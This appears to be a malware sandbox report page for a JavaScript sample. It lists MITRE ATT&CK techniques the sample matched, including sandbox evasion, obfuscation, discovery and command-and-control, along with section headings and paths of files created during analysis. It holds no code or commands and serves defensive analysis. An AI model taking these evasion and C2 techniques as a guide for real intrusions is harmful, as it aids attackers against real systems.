Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 316517466273709266.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e64ec55-790f-4bf7-bde3-f1955105b556.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2884

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
316517466273709266.js